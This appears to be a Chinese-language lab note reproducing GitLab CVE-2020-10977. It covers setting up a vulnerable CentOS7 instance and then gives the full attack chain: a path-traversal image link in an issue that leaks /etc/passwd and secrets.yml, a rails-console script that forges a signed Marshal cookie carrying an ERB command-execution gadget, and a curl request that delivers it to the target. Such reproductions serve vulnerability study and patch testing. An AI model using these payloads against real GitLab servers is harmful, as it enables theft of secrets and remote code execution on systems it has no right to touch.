CVE-2020-10977-GITLAB CE/EE 任意檔案讀取導致遠端命令執行漏洞-環境搭建及完整復現圖文詳細筆記
漏洞環境搭建-CENTOS7
1.安裝依賴軟體
yum -y install policycoreutils openssh-server openssh-clients postfix
2.設定postfix開機自啟,並啟動,postfix支援gitlab發信功能(對漏洞環境應該不重要)
systemctl enable postfix && systemctl start postfix
3.下載gitlab安裝包,然後安裝
官方下載:
CE下載地址:https://packages.gitlab.com/gitlab/gitlab-ce
EE下載地址:https://packages.gitlab.com/gitlab/gitlab-ee
清華開源映象站下載:
centos 6系統的下載地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el6
centos 7系統的下載地址:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7
漏洞版本範圍在>=8.5,<=12.9
(ps:測試9.5.0的版本時沒有找到move issue功能。檢視當前gitlab版本命令:cat
/opt/gitlab/embedded/service/gitlab-rails/VERSION)
下載rpm包並安裝:
wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-9.5.0-ce.0.el7.x86_64.rpm
rpm -i gitlab-ce-9.5.0-ce.0.el7.x86_64.rpm
4.修改gitlab配置檔案指定伺服器ip和自定義埠
vim /etc/gitlab/gitlab.rb
這裡我設定了8888埠
5.重置並啟動Gitlab
執行以下命令
gitlab-ctl reconfigure
gitlab-ctl restart
顯示成功啟動之後,訪問埠進入Gitlab頁面,提示修改root密碼
PS:若出現502頁面,多次重新整理頁面即可,這是由於Gitlab效能要求比較高,伺服器響應慢導致的,推薦虛擬機器記憶體至少分配4G。
漏洞復現
測試版本為gitlab-12.8.7-ce
任意檔案讀取
0x001 新建兩個測試專案
0x002 在其中一個project中建立新的issue,在其問題描述中輸入下方程式碼,然後提交
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
0x003 建立issue成功後點擊move issue,將它移動到test2中
0x004 test2中的issue中帶了一個password附件
0x005 點選下載password附件,用記事本方式開啟,發現其內容就是/etc/password的內容
RCE(REMOTE COMMAND/CODE EXECUTE)
0x001 利用任意檔案讀取漏洞,下載/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml檔案,獲取secret_key_base
0x002 問題描述中輸入:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
0x003 下載secrets.yml,獲取secret_key_base
0x004 在自己的攻擊機上搭建一個gitlab環境(詳見環境搭建筆記),將目標機下載下來的secerts.yml覆蓋在自己攻擊機上/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
(也可以只替換secret_key_base)
0x005 使用gitlab-rails console執行以下命令
gitlab-rails console #進入rails console
- 1
依次輸入:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo flag was here > /tmp/flag` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
0x006 獲取cookie,構造語句:
curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie"
(ps:experimentation_subject_id引數輸入rail console獲取的cookie值)
通過任意檔案讀取下載/tmp/flag檔案,內容:“flag was here”,說明命令執行成功!
想了解更多可以檢視漏洞部落格
參考:https://hackerone.com/reports/827052